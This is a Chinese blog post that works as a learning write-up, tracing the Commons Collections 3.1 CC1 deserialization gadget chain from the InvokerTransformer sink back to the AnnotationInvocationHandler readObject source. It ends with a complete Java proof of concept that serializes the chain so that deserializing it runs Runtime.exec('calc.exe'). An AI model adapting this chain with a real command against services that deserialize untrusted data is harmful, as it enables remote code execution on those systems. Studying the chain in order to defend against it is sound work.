希望和各位大佬一起学习,如果文章内容有错请多多指正,谢谢!
个人博客链接:CH4SER的个人BLOG – Welcome To Ch4ser's Blog
在前一篇文章我分析了Commons Collections1链,其中跟链的顺序是:source=>gadget=>sink,但如果站在漏洞挖掘的角度顺序是倒过来的:sink=>gadget=>source,即先找到造成命令执行的恶意类,然后通过该类倒一直倒推到可利用的反序列类。
本篇文章将按照sink=>gadget=>source的顺序,在挖洞的角度跟踪分析Commons Collections链。
环境:Commons Collections 3.1 && jdk8u65
首先来到InvokerTransformer类,以下列出该类的构造函数和transform方法。
构造函数接收并设置三个参数:methodName、paramTypes、args
transform方法接收一个对象input,结合三个参数通过反射获取对象的类、方法,然后invoke调用执行(注意input不能为空)。
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
试想若按照以下代码逻辑实例化一个invokerTransformer对象,然后调用transform方法不就相当于Runtime.getRuntime().exec("calc")弹出计算器吗?
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(r);
事实证明我们的猜想是正确的,如此一来便找到了sink执行点:InvokerTransformer#transform
由于InvokerTransformer类并不是可直接利用的反序列化类,所以还需要往前倒推,查找哪个类调用过transform方法。我们跟的是CC链,所以只需要关注Commons Collections 3.1包里的即可。
发现TransformedMap#checkSetValue方法调用过transform方法(正常情况下每个uasge都需要看)。
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
试想若控制valueTransformer为InvokerTransformer类对象,执行valueTransformer.transform(value)那不就相当于执行InvokerTransformer#transform方法吗?
首先观察到valueTransformer在构造方法TransformedMap中设置,但由于该构造方法是protected类型无法直接访问,所以继续找有没有其他public类型方法调用过该构造方法。
观察到decorate方法调用过该构造方法TransformedMap,由此想到可以利用decorate方法间接控制valueTransformer,即控制decorate方法的传参valueTransformer=new InvokerTransformer(),那么执行decorate方法就会触发构造方法设置valueTransformer为InvokerTransformer类对象。
此时,若执行valueTransformer.transformer() = new InvokerTransformer().transformer()。
大致流程:
当执行TransformedMap.decorate(map, null, new InvokerTransformer())
=>
会触发TransformedMap(map, null, new InvokerTransformer())
=>
会设置valueTransformer = new InvokerTransformer()
=>
若执行valueTransformer.transformer()
=>
等于执行new InvokerTransformer().transformer()
到这里我们已经控制了valueTransformer为InvokerTransformer类对象,但还没成功触发checkSetValue方法,而且checkSetValue方法是protected类型无法直接调用,所以还需继续往上查找哪个类调用过checkSetValue方法。
发现AbstractInputCheckedMapDecorator#setValue方法调用过checkSetValue方法。
public Object setValue(Object value) {
value = parent.checkSetValue(value);
return entry.setValue(value);
}
同理,若想要调用TransformedMap#checkSetValue方法,需控制parent为TransformedMap类对象。
此时若执行AbstractInputCheckedMapDecorator#setValue方法,就会触发执行parent.checkSetValue(value),等于执行new TransformedMap().checkSetValue(value),然后触发valueTransformer.transform(value),由于之前又控制valueTransformer为InvokerTransformer类对象,最终同执行new InvokerTransformer().transform(value),故又和sink点联系了起来。
大致流程:
控制parent = new TransformedMap()
=>
当执行AbstractInputCheckedMapDecorator.setValue(Object value)
=>
会触发parent.checkSetValue(value)
=>
等于执行new TransformedMap().checkSetValue(value)
=>
会触发valueTransformer.transform(value)
=>
等于执行new InvokerTransformer().transform(value)
一般情况下,当继续往上找到的类重写的readObject方法里调用了前一个类的方法时,就是gadget结束。
比如这里继续查找哪个类调用过AbstractInputCheckedMapDecorator#setValue方法,发现AnnotationInvocationHandler#readObject方法里调用过。同理,此时应该控制var5=new AbstractInputCheckedMapDecorator(),才能调用AbstractInputCheckedMapDecorator#setValue方法,于是gadget结束同时也找到了source。
总结:无非就是让前面调用方法的类发生更改,控制其等于后面的类,让其调用后面类的方法 。
最后附上Poc代码:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CC1Poc {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})
};
//将transformers数组存入ChaniedTransformer这个继承类(整个Runtime执行)
Transformer transformerChain = new ChainedTransformer(transformers);
//创建Map并绑定transformer
Map innerMap = new HashMap();
innerMap.put("value", "value");
//给予map数据转化链
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, outerMap);
//漏洞测试
serializableObject(o);
unserializableObject("ser.bin");
}
public static void serializableObject(Object o) throws Exception {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(o);
objectOutputStream.close();
fileOutputStream.close();
}
public static void unserializableObject(String filename) throws Exception{
FileInputStream fileInputStream = new FileInputStream(filename);
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
objectInputStream.close();
fileInputStream.close();
}
}
学到这部分说实话还是比较吃力的,很多东西没有嚼透, 原因还是我的开发基础有点拉跨,打算等后面再重新好好学一下这部分。如果文章有错请多多指正,谢谢各位师傅支持!